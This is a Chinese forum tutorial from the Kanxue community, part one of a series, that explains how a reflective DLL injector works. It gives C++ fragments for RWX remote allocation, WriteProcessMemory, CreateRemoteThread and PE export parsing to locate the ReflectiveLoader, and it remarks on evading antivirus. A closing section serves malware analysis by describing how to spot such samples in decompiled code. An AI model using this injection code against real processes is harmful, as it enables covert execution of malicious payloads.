常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)

Editor發表於2018-01-23

前言

在上一篇文章《常見程式注入的實現及記憶體dump分析——經典DLL注入》中,介紹了經典DLL注入,雖然簡單,但是是注入的基本原理,在上篇文章中沒有提到的是:32位的注入程式要注入32位的程式中,不要試圖注入64位程式,這種注入確實是可以實現,但是很麻煩,所以就放到最後去學習。

由於反射式DLL比較複雜,這篇文章只是注射器的實現和分析,原始碼參考自GitHub,同樣,會在文章末尾貼上地址。

反射式DLL我理解就是讓DLL自身不使用LoadLibraryA函式,將自身對映到目標程式記憶體中。

環境

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

語言:Visual C++

Dropper:注射器的實現

原理:

這裡只說注射器實現的功能:在目標程式開闢空間,將Payload寫到開闢的空間去,最後呼叫DLL中的反射載入函式。

實現:

前期實現就不多說,包括:獲取目標程式PID,提升當前程式許可權,在上一篇文章中已經給出了程式碼。

在當前程式中開闢緩衝區,將Payload DLL複製到開闢的空間去,這裡說明下,DLL檔案可以不一定是本地檔案,可來自網路等,總之將資料寫到緩衝區即可。

LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);//建立緩衝區

if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == false)//將DLL資料複製到緩衝區

  BreakForError("Failed to read the DLL file");

開啟目標程式

HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

實現自己寫的“LoadLibraryA”函式。(並非真的實現,具體實現是在DLL中,這裡只是將DLL寫到目標程式,並建立遠端執行緒)。

HANDLE hMoudle = LoadRemoteLibraryR(hTargetProcess, lpBuffer, dwLength, NULL);

LoadRemoteLibraryR的實現:

獲取DLL中反射載入器函式的地址。

在目標程式中分配記憶體,將DLL寫入緩衝區。

建立遠端執行緒。

//獲取載入器的地址(檔案偏移)

DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);

//在目標程式分配記憶體(RWX)

LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//寫資料

WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL);

//執行緒函式的地址=基地址+檔案偏移

LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);

//建立遠端執行緒

hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);

先不看第一行,根據註釋,我們知道第一行獲取的是DLL中反射載入函式在檔案中的偏移,由於這種注入沒有使用LoadLibraryA函式,所以DLL在記憶體中的狀態和在磁碟中的狀態是相同的,要想呼叫函式,我們就需要找到檔案偏移,這就是第一樣的作用。獲取到函式的檔案偏移後,就可以得到執行緒函式的地址,執行緒函式的地址就是檔案的偏移+緩衝區的地址。由於開闢的空間是可讀可寫可執行的許可權,指令的執行依靠的是機器碼,所以,使用CreateRemoteThread函式,即可呼叫執行緒函式,執行程式碼。

在程式碼的第一行,我們可以看到有個自定義的GetReflectiveLoaderOffset函式,我認為,整個注射器的核心就在這裡,下面,將會具體描述該函式的實現。

GetReflectiveLoaderOffset,該函式其實就是獲取DLL中反射載入函式的地址,實現:簡單說,就是一解析PE頭的過程。我們先要清楚一個事情:PE結構檔案中儲存的地址都是RVA(相對虛擬地址)。在附件中,我會上傳一張PE結構圖(之前論壇中有大神發過,但是我找到的不是很清晰)。

獲取函式地址步驟如下:

得到PE頭的地址。

得到匯出函式表結構體指標的地址。

獲取匯出表結構體的記憶體地址(RVA)。

找到匯出表名稱陣列在記憶體中的地址(RVA)。

獲取匯出函式地址表在記憶體中的地址(RVA)。

獲取匯出函式序號表在記憶體中的地址(RVA)。

通過匯出函式名來獲取匯出函式地址(RVA)。

常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)

//基址->在Dropper程式中開闢的堆空間的起始地址

UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

//得到NT頭的檔案地址

UINT_PTR uiExportDir = (UINT_PTR)uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//獲得匯出表結構體指標的地址

UINT_PTR uiNameArray = (UINT_PTR)&(((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);

//該呼叫中,第一個引數即為匯出表結構體對映到記憶體的相對虛擬地址

//結果為找到到匯出表結構體的記憶體地址

uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

//得到匯出表名稱陣列在記憶體中的地址RVA

uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

//得到匯出函式地址表在記憶體中的地址RVA

UINT_PTR uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

//得到函式序號地址表在記憶體中的地址

UINT_PTR uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

//匯出函式的數量

DWORD dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

while (dwCounter--)

{

  //這裡需要將獲取到的各表的RVA轉化為各表實際的檔案偏移

  char *cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset((*(DWORD*)uiNameArray), uiBaseAddress));

  if (strstr(cpExportedFunctionName, "ReflectiveLoader") != NULL)

  {

      //獲取地址表起始地址的實際位置

      uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

      //根據序號找到序號對應的函式地址

      uiAddressArray += (*(WORD*)(uiNameOrdinals) * sizeof(DWORD));

      // 返回ReflectiveLoader函式的檔案偏移,即函式機器碼的起始地址

      return Rva2Offset((*(DWORD*)uiAddressArray), uiBaseAddress);

  }

  uiNameArray += sizeof(DWORD);

  uiNameOrdinals += sizeof(WORD);

}

在上面的函式中,有個Rva2Offset,功能是將RVA地址轉化為檔案偏移,實現如下:

DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress)

{

  //得到nt頭在記憶體中的實際地址

  PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

  //獲得節表

  PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

  //不在任意塊內

  if (dwRva < pSectionHeader[0].PointerToRawData)

      return dwRva;

  //通過遍歷塊,來找到相對偏移地址對應的檔案偏移地址

  for (WORD wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)

  {

      if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))

          return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);

          //\------------------塊內偏移-------------------/    \-----------塊在檔案中的偏移------------/

  }

}

常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)

分析

回想我們注射器實現的過程中所呼叫的函式,與正常的注入似乎沒有太大的區別,而且像CreateRemoteProcess這種危險函式殺軟抓的很嚴,是可以被替換掉的,而且沒有發現LoadLibraryA函式。但這個樣本有明顯的特徵:解析PE結構,所以當我們遇到這種樣本的時候,可以考慮為反射式DLL注入。

優點:沒有使用獲取LoadLibraryA函式。

常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)

GetReflectiveLoaderOffset  F5後的程式碼

從圖中可以看到,有大量呼叫同一個函式的情況,並且有字串比較。

常見程式注入的實現及記憶體dump分析——反射式DLL注入(上)

Rva2Offset F5後的程式碼

這張圖中,具有特徵性的應該就是這些數字了,如果根據之前的想法,懷疑這是個反射式DLL注射,進入到這個函式的時候,可以去思考這是不是在解析PE檔案。當然,如果動態跟蹤的話,及時檢視記憶體,也可以分辨的出來。

最後

GitHub地址:https://github.com/SudoZhange/ProcessInjection

參考

《Windows PE權威指南》

Hunting In Memory

原始碼參考:https://github.com/stephenfewer/ReflectiveDLLInjection

*測試時使用的DLL為該原始碼編譯的DLL。

本文由看雪論壇 sudozhange 原創,轉載請註明來自看雪社群

相關文章